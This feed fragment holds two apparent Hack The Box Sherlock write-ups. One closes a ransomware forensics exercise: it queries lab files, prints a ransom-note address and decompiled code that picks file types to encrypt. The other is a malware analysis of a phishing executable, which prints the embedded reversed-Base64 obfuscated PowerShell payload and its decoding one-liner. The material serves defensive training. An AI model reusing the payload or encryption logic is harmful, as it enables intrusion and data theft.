&lt;pre&gt;&lt;code&gt;cat * | grep -Rin &apos;wbevansn1@cocolog-nifty.com&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This string is present in &lt;code&gt;forela_uk_applicants.sql&lt;/code&gt; file and in &lt;code&gt;872&lt;/code&gt; line no,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;(830,&apos;Walden&apos;,&apos;Bevans&apos;,&apos;wbevansn1@cocolog-nifty.com&apos;,&apos;Male&apos;,&apos;Aerospace Manufacturing&apos;,&apos;2023-02-16&apos;),
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204153547.png&quot; alt=&quot;Pasted image 20251204153547.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Walden Bevans
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 3&lt;/h1&gt;
&lt;h2&gt;What is the MAC address and serial number of the laptop assigned to Hart Manifould?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This info must be available in &lt;code&gt;it_assets.xml&lt;/code&gt; file because it is asking about laptop,&lt;/li&gt;
&lt;li&gt;So i tried to open that file but it seems very unappropriated so i used this tool to format it and i got this file,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;xmllint --format it_assets.xml &amp;gt; formated_it_assets.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204154733.png&quot; alt=&quot;Pasted image 20251204154733.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So i tried to find this name &lt;code&gt;Hart Manifould&lt;/code&gt; and i got associated &lt;code&gt;MAC Address&lt;/code&gt; and &lt;code&gt;Serial Number&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204154947.png&quot; alt=&quot;Pasted image 20251204154947.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;E8-16-DF-E7-52-48, 1316262
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 4&lt;/h1&gt;
&lt;h2&gt;What is the email address of the attacker?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This is asking about attackers email which is written in ransom note of any file like this, &lt;code&gt;complaints.csv.24bes_note.txt&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204155057.png&quot; alt=&quot;Pasted image 20251204155057.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bes24@protonmail.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 5&lt;/h1&gt;
&lt;h2&gt;City of London Police have suspicions of some insider trading taking part within our trading organization. Please confirm the email address of the person with the highest profit percentage in a single trade alongside the profit percentage.&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;File will be most probably &lt;code&gt;trading-firebase_bkup.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;For this task i used &lt;code&gt;jq&lt;/code&gt; tool which is best for json filtration,&lt;/li&gt;
&lt;li&gt;Here is command i used,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204160420.png&quot; alt=&quot;Pasted image 20251204160420.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;to_entries&lt;/code&gt; converts the object into an array of &lt;code&gt;{key, value}&lt;/code&gt; objects&lt;/li&gt;
&lt;li&gt;&lt;code&gt;max_by(.value.profit_percentage)&lt;/code&gt; finds the entry with the highest profit percentage&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.value.email&lt;/code&gt; prints email&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.value.profit_percentage&lt;/code&gt; prints profit %&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;jq -r &apos;to_entries | max_by(.value.profit_percentage) | .value.email, .value.profit_percentage&apos; trading-firebase_bkup.json
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;fmosedale17a@bizjournals.com, 142303.1996053929628411706675436
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 6&lt;/h1&gt;
&lt;h2&gt;Our E-Discovery team would like to confirm the IP address detailed in the Sales Forecast log for a user who is suspected of sharing their account with a colleague. Please confirm the IP address for Karylin O&apos;Hederscoll.&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This data will be present on &lt;code&gt;sales_forecast.xlsx&lt;/code&gt; file,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204160933.png&quot; alt=&quot;Pasted image 20251204160933.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;87,&quot;Karylin&quot;,&quot;O&apos;Hederscoll&quot;,&quot;kohederscoll2e@dagondesign.com&quot;,&quot;Female&quot;,&quot;8.254.104.208&quot;,&quot;Pakistan&quot;,&quot;Consulting Hours&quot;,&quot;8/7/2022&quot;,983,1957.61,503.49,494930.67,1924330.63,1429399.96,415
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;8.254.104.208
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 7&lt;/h1&gt;
&lt;h2&gt;Which of the following file extensions is not targeted by the malware? &lt;code&gt;.txt, .sql, .ppt, .pdf, .docx, .xlsx, .csv, .json, .xml&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204161323.png&quot; alt=&quot;Pasted image 20251204161323.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;else if ((local_18-&amp;gt;d_type == &apos;\b&apos;) &amp;amp;&amp;amp;
(((((pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.txt&quot;), pcVar2 != (char *)0x0 ||
(pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.sql&quot;), pcVar2 != (char *)0x0)) ||
 (pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.pdf&quot;), pcVar2 != (char *)0x0)) ||
((pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.docx&quot;), pcVar2 != (char *)0x0 ||
 (pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.xlsx&quot;), pcVar2 != (char *)0x0)))) ||
 ((pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.csv&quot;), pcVar2 != (char *)0x0 ||
((pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.json&quot;), pcVar2 != (char *)0x0 ||
 (pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.xml&quot;), pcVar2 != (char *)0x0)))))))) {
printf(&quot;Encrypting: %s\n&quot;,local_418);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.ppt
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 8&lt;/h1&gt;
&lt;h2&gt;We need to confirm the integrity of the files once decrypted. Please confirm the MD5 hash of the applicants DB.&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204161443.png&quot; alt=&quot;Pasted image 20251204161443.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;f3894af4f1ffa42b3a379dddba384405
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 9&lt;/h1&gt;
&lt;h2&gt;We need to confirm the integrity of the files once decrypted. Please confirm the MD5 hash of the trading backup.&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204161540.png&quot; alt=&quot;Pasted image 20251204161540.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;87baa3a12068c471c3320b7f41235669
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 10&lt;/h1&gt;
&lt;h2&gt;We need to confirm the integrity of the files once decrypted. Please confirm the MD5 hash of the complaints file.&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204161606.png&quot; alt=&quot;Pasted image 20251204161606.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c3f05980d9bd945446f8a21bafdbf4e7
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>HTB Sherlocks Heartbreaker-Continuum March 2025</title><link>https://fuwari.vercel.app/posts/htb-sherlock-heartbreaker-continuum/notes/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/htb-sherlock-heartbreaker-continuum/notes/</guid><description>Writeup of HTB Heartbreaker-Continuum Sherlock.</description><pubDate>Sun, 30 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sherlock Scenario&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Following a recent report of a data breach at their company, the client submitted a potentially malicious executable file. The file originated from a link within a phishing email received by a victim user. Your objective is to analyze the binary to determine its functionality and possible consequences it may have on their network. By analyzing the functionality and potential consequences of this binary, you can gain valuable insights into the scope of the data breach and identify if it facilitated data exfiltration. Understanding the binary&apos;s capabilities will enable you to provide the client with a comprehensive report detailing the attack methodology, potential data at risk, and recommended mitigation steps.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Category: Malware Analysis&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficulty: Easy&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;File: &lt;a href=&quot;/uploads/HTB_Sherlock_Heartbreaker-Continuum/HeartBreakerContinuum.zip&quot;&gt;HeartBreakerContinuum.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Task 1&lt;/h1&gt;
&lt;h2&gt;To accurately reference and identify the suspicious binary, please provide its SHA256 hash.&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I used &lt;code&gt;sha256sum&lt;/code&gt; tool in wsl kali (Windows Subsystem Linux).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251125190807.png&quot; alt=&quot;Pasted image 20251125190807.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;12DAA34111BB54B3DCBAD42305663E44E7E6C3842F015CCCBBE6564D9DFD3EA3
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 2&lt;/h1&gt;
&lt;h2&gt;When was the binary file originally created, according to its metadata (UTC)?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I can use a tool such as &lt;a href=&quot;https://www.winitor.com/download&quot;&gt;&lt;strong&gt;PEStudio&lt;/strong&gt;&lt;/a&gt;, which is used for spotting suspicious artifacts in executable files, to find the correct creation date of the executable file.&lt;/li&gt;
&lt;li&gt;After loading the file, we notice the creation date under the &quot;stamps&quot; section as &lt;strong&gt;March 13, 2024, 10:38:06 UTC&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251125191818.png&quot; alt=&quot;Pasted image 20251125191818.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2024-03-13 10:38:06
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 3&lt;/h1&gt;
&lt;h2&gt;Examining the code size in a binary file can give indications about its functionality. Could you specify the byte size of the code in this binary?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;We can use &lt;code&gt;pestudio&lt;/code&gt; again and under the &lt;code&gt;optional-header (subsystem &amp;gt; GUI)&lt;/code&gt; we can see &lt;code&gt;size-of-code&lt;/code&gt; field and value is &lt;code&gt;38400 bytes&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;It is the &lt;strong&gt;total size (in bytes) of the executable code&lt;/strong&gt; in the PE file (usually the &lt;code&gt;.text&lt;/code&gt; section).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251125192114.png&quot; alt=&quot;Pasted image 20251125192114.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;38400
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 4&lt;/h1&gt;
&lt;h2&gt;It appears that the binary may have undergone a file conversion process. Could you determine its original filename?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;There is one PowerShell file inside &lt;code&gt;resources&lt;/code&gt; section of PE which is &lt;code&gt;newILY.ps1&lt;/code&gt; and instance say that it is &lt;code&gt;.NET Assembly&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;This means the executable likely &lt;strong&gt;started as a PowerShell script&lt;/strong&gt;, and then threat actor &lt;strong&gt;converted or wrapped it into an EXE&lt;/strong&gt; - usually using a tool like:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PS2EXE&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PowerShell packer/converter&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Custom .NET wrapper&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Malware stager that embeds .ps1 inside resources&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PE files don’t normally contain a PowerShell script inside their resources unless: &lt;strong&gt;the EXE was created from that PS1 script.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;So we simply dump it and save it for later analysis.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251125192520.png&quot; alt=&quot;Pasted image 20251125192520.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;newILY.ps1
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 5&lt;/h1&gt;
&lt;h2&gt;Specify the hexadecimal offset where the obfuscated code of the identified original file begins in the binary.&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;To solve this, I used the tool &lt;a href=&quot;https://mh-nexus.de/en/hxd/&quot;&gt;&lt;strong&gt;HxD&lt;/strong&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;After opening the file and scrolling until we come across the obfuscated code segment, we find the hexadecimal offset to start at &lt;strong&gt;2C74&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251125193509.png&quot; alt=&quot;Pasted image 20251125193509.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2C74
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 6&lt;/h1&gt;
&lt;h2&gt;The threat actor concealed the plaintext script within the binary. Can you provide the encoding method used for this obfuscation?&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251125193739.png&quot; alt=&quot;Pasted image 20251125193739.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Right away, we can tell this is Base64 encoded, hinted at by the equal signs (==). Additionally, we can also tell that we need to reverse the obfuscated script, as these equal signs usually appear at the end.&lt;/li&gt;
&lt;li&gt;We can use a tool like &lt;a href=&quot;https://cyberchef.org/&quot;&gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt; to reverse the script and decode the Base64 algorithm to obtain the human-readable script utilized by the executable:&lt;/li&gt;
&lt;li&gt;Here is the whole PowerShell script &lt;code&gt;newILY.ps1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;$sCrt = &quot;==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&quot; ;
$enC = $sCrt.ToCharArray() ; [array]::Reverse($enC) ; -join $enC 2&amp;gt;&amp;amp;1&amp;gt; $null ;
